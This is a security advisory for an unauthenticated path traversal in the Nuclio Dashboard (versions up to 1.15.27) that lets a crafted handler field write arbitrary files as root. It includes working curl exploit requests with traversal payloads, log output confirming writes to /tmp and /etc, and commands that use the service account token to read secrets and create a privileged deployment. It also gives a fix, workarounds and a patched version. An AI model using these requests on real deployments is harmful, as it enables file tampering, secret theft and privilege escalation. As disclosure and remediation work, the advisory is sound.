GHSA-wpcj-rmv4-86qg

## Summary

Nuclio Dashboard exposes `POST /api/functions` without authentication by default (NOP auth mode). The `spec.handler` field (e.g., `mymodule:myfunction`) is parsed by `functionconfig.ParseHandler()` which splits on `:` only — no path validation is applied to the module portion.

During function build, `writeFunctionSourceCodeToTempFile()` passes the module name directly to `path.Join(tempDir, moduleFileName)`. Go's `path.Join` internally calls `path.Clean`, which resolves `../` sequences and allows the resolved path to escape `tempDir`. The function then calls `os.WriteFile` at the attacker-controlled path with attacker-controlled content (base64-decoded `spec.build.functionSourceCode`).

The write executes in the Dashboard container process running as `uid=0 (root)`, allowing writes to any filesystem location the process can access: `/tmp`, `/etc`, `/usr/local/bin`, `/etc/cron.d`, and more.

- **CVSS 3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` — **7.5 (High)** - **CWE**: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) - **Affected versions**: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)

---

## Details

### Root Cause

The vulnerability spans three functions. The path from user input to disk write is:

**1. `ParseHandler` — no path validation** (`pkg/functionconfig/handler.go:25-38`):

```go // pkg/functionconfig/handler.go:25-38 func ParseHandler(handler string) (string, string, error) { moduleAndEntrypoint := strings.Split(handler, ":") switch len(moduleAndEntrypoint) { case 1: return "", moduleAndEntrypoint[0], nil case 2: // Returns moduleFileName verbatim — no path sanitization return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil default: return "", "", errors.Errorf("Invalid handler name %s", handler) } } ```

Input `"../../../../tmp/vul007_proof.txt:handler"` returns `moduleFileName = "../../../../tmp/vul007_proof.txt"`.

**2. `writeFunctionSourceCodeToTempFile` — unsafe path construction** (`pkg/processor/build/builder.go:613-661`):

```go // builder.go:624-657 (abridged) tempDir, err := b.mkDirUnderTemp("source") // tempDir = /tmp/nuclio-build-<random>/source

runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)

moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler) // moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled

if !strings.Contains(moduleFileName, ".") { moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension) } // If moduleFileName already contains ".", no extension is appended // "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is

sourceFilePath := path.Join(tempDir, moduleFileName) // path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt") // = "/tmp/vul007_proof.txt" <-- escaped tempDir

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath) if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil { // Writes attacker-controlled bytes to attacker-controlled path ```

**3. `cleanupTempDir` does not remove the traversal file** (`builder.go:1047-1061`):

```go // builder.go:1053 err := os.RemoveAll(b.tempDir) // Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists ```

### Path Traversal Calculation

``` tempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components) handler = "../../../../tmp/vul007_proof.txt:handler" module = "../../../../tmp/vul007_proof.txt"

path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt") = path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")

Traversal: /tmp/nuclio-build-227825660/source (start) ../ -> /tmp/nuclio-build-227825660 ../ -> /tmp ../ -> / (filesystem root) ../ -> / (cannot go above root) tmp/vul007_proof.txt -> /tmp/vul007_proof.txt ```

The same technique with 4x `../` reaches any path under `/tmp`, `/etc`, `/usr`, etc.

### Full Attack Chain

``` Unauthenticated HTTP client -> POST /api/functions (no auth, NOP mode) dashboard/resource/function.go:156 storeAndDeployFunction() -> platform.CreateFunction() platform/kube/platform.go:193 -> abstract/platform.go:191 HandleDeployFunction() -> abstract/platform.go:119 CreateFunctionBuild() -> builder.Build() processor/build/builder.go:195 -> builder.resolveFunctionPath() builder.go:664 -> builder.writeFunctionSourceCodeToTempFile() <-- file write here builder.go:613 -> os.WriteFile(attacker_path, attacker_content, 0644) builder.go:657 ```

---

## PoC — Steps to Reproduce

### Environment Setup

The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.

**Step 1: Create isolated kind cluster with Docker socket mounted**

The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:

```bash cat > /tmp/kind-vul007-config.yaml << 'EOF' kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 nodes: - role: control-plane extraMounts: - hostPath: /var/run/docker.sock containerPath: /var/run/docker.sock EOF

kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml ```

Expected output: ``` Creating cluster "vul-007" ... ✓ Ensuring node image (kindest/node:v1.27.3) ✓ Preparing nodes ✓ Writing configuration ✓ Starting control-plane ✓ Installing CNI ✓ Installing StorageClass Set kubectl context to "kind-vul-007" ```

Verify Docker socket is available inside the cluster node: ```bash docker exec vul-007-control-plane ls -la /var/run/docker.sock # srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock ```

**Step 2: Deploy Nuclio via Helm**

```bash # Create namespace kubectl --context kind-vul-007 create namespace nuclio

# Load container images (if pre-pulled) kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007 kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007

# Install with Helm (chart from source: hack/k8s/helm/nuclio) helm install nuclio ./hack/k8s/helm/nuclio \ --namespace nuclio \ --kube-context kind-vul-007 \ --set controller.image.pullPolicy=Never \ --set dashboard.image.pullPolicy=Never \ --set registry.pushPullUrl="localhost:5000" \ --set dashboard.containerBuilderKind=docker ```

**Step 3: Wait for Dashboard to be ready**

```bash kubectl --context kind-vul-007 wait -n nuclio \ --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s

# Expected: # pod/nuclio-dashboard-b4c5bb96f-txjkt condition met ```

**Step 4: Expose Dashboard locally**

```bash kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 & sleep 3

# Verify Dashboard is accessible curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions # HTTP 200 ```

**Step 5: Create default project (required by Dashboard API)**

```bash curl -s -X POST http://localhost:8073/api/projects \ -H "Content-Type: application/json" \ -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}' ```

---

### Exploitation

**Step 6: Send path traversal request**

The `handler` field `../../../../tmp/vul007_proof.txt:handler` instructs the build pipeline to write `functionSourceCode` content to `/tmp/vul007_proof.txt` inside the Dashboard container.

```bash curl -v -X POST http://localhost:8073/api/functions \ -H "Content-Type: application/json" \ -H "x-nuclio-project-name: default" \ -d '{ "metadata": {"name": "vul007-poc", "namespace": "nuclio"}, "spec": { "runtime": "python:3.11", "handler": "../../../../tmp/vul007_proof.txt:handler", "build": { "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw==" }, "minReplicas": 0, "maxReplicas": 1 } }' ```

`functionSourceCode` base64 decoded: `PROVED-PATH-TRAVERSAL-VUL007`

Expected response: ``` HTTP/1.1 202 Accepted ```

**Step 7: Observe Dashboard build logs**

```bash kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \ | grep -E "temporary dir|Writing function source" ```

Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST): ``` 26.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir {"dir": "/tmp/nuclio-build-227825660/source"}

26.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file {"functionPath": "/tmp/vul007_proof.txt"} ```

The log confirms `functionPath` resolved to `/tmp/vul007_proof.txt`, which is **outside** the tempDir `/tmp/nuclio-build-227825660/source`. Path traversal is confirmed.

**Step 8: Verify file written to traversal path**

```bash kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ -- cat /tmp/vul007_proof.txt ```

Output: ``` PROVED-PATH-TRAVERSAL-VUL007 ```

```bash kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ -- ls -la /tmp/vul007_proof.txt ```

Output: ``` -rw-r--r-- 1 root root 28 May 17 14:55 /tmp/vul007_proof.txt ```

**Step 9: Write to /etc/ — broader impact demonstration**

```bash curl -s -X POST http://localhost:8073/api/functions \ -H "Content-Type: application/json" \ -H "x-nuclio-project-name: default" \ -d '{ "metadata": {"name": "vul007-poc2", "namespace": "nuclio"}, "spec": { "runtime": "python:3.11", "handler": "../../../../etc/vul007-marker.txt:handler", "build": { "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q=" } } }' ```

Log evidence: ``` 26.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file {"functionPath": "/etc/vul007-marker.txt"} ```

```bash kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \ -- cat /etc/vul007-marker.txt # VUL007-PERSISTENT-MARKER-root ```

---

### Cleanup

```bash kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true kind delete cluster --name vul-007 ```

---

## Impact

### Direct Impact

An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.

Demonstrated write targets: - `/tmp/` — confirmed (primary PoC) - `/etc/` — confirmed (secondary PoC)

Potential high-impact write targets: - `/etc/cron.d/` — write a cron job entry; if a cron daemon runs in the container, this achieves scheduled arbitrary command execution inside the container - `/usr/local/bin/<name>` — overwrite a binary called by dashboard processes - Any file path accessible by root within the container filesystem

### Privilege Escalation

The Dashboard container runs as `uid=0 (root)`. Its mounted Kubernetes ServiceAccount (`nuclio-dashboard`) holds the following RBAC permissions in the `nuclio` namespace:

``` Resources Verbs secrets [*] deployments.apps [*] pods [*] configmaps [*] services [*] cronjobs.batch [*] ```

Verification: Using the SA token directly against the Kubernetes API:

```bash # List secrets — HTTP 200 curl -k -H "Authorization: Bearer $SA_TOKEN" \ "$K8S_API/api/v1/namespaces/nuclio/secrets" # => returns helm release secret, nuclio SA secret

# Create privileged Deployment — HTTP 201 curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \ -H "Content-Type: application/json" \ "$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \ -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}' # HTTP_CODE:201 ```

An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the `nuclio` namespace, potentially escalating to cluster-level access depending on cluster configuration.

### Scope

The file write is bounded to the Dashboard **container** filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.

---

## Severity

**CVSS 3.1 Score: 7.5 (High)**

``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N ```

| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network | Dashboard API reachable over network | | Attack Complexity | Low | Single HTTP request, no race condition | | Privileges Required | None | Default NOP auth mode requires no credentials | | User Interaction | None | Fully automated | | Scope | Unchanged | Write confined to Dashboard container | | Confidentiality | None | No data read in primary attack path | | Integrity | High | Arbitrary file write as root in container | | Availability | None | No service disruption caused by write |

---

## Affected Versions

- **Nuclio <= 1.15.27** (latest release at time of research) - Dynamically verified against `quay.io/nuclio/dashboard:1.15.27-amd64` on 2026-05-17

The vulnerable code path (`writeFunctionSourceCodeToTempFile` in `pkg/processor/build/builder.go`) has been present since the `functionSourceCode` inline code feature was introduced.

---

## Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

---

## Workarounds

**Option 1: Enable authentication on the Dashboard**

Set `NUCLIO_AUTH_KIND` to a non-NOP value (e.g., `iguazio`) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.

```yaml # In Dashboard deployment env - name: NUCLIO_AUTH_KIND value: "iguazio" ```

**Option 2: Network-level access control**

Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.

**Option 3: Drop root privileges in the Dashboard container**

Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.

---

## Remediation

Add a path boundary check in `writeFunctionSourceCodeToTempFile` after constructing `sourceFilePath`:

```go // pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile sourceFilePath := path.Join(tempDir, moduleFileName)

// Verify resolved path is within tempDir absPath, err := filepath.Abs(sourceFilePath) if err != nil { return "", errors.Wrap(err, "Failed to resolve absolute path") } absTempDir, err := filepath.Abs(tempDir) if err != nil { return "", errors.Wrap(err, "Failed to resolve absolute tempDir") } if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) { return "", errors.Errorf( "handler module path escapes build directory: %s", moduleFileName) }

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath) if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil { ```

Alternatively, reject any `handler` module name containing path separator characters before the build pipeline is invoked (at API request validation time).

---

## Resources

- Vulnerable file: `pkg/processor/build/builder.go` — function `writeFunctionSourceCodeToTempFile`, line 654 - Parser: `pkg/functionconfig/handler.go` — function `ParseHandler`, line 25 - Go `path.Join` behavior: https://pkg.go.dev/path#Join - CWE-22: https://cwe.mitre.org/data/definitions/22.html - OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal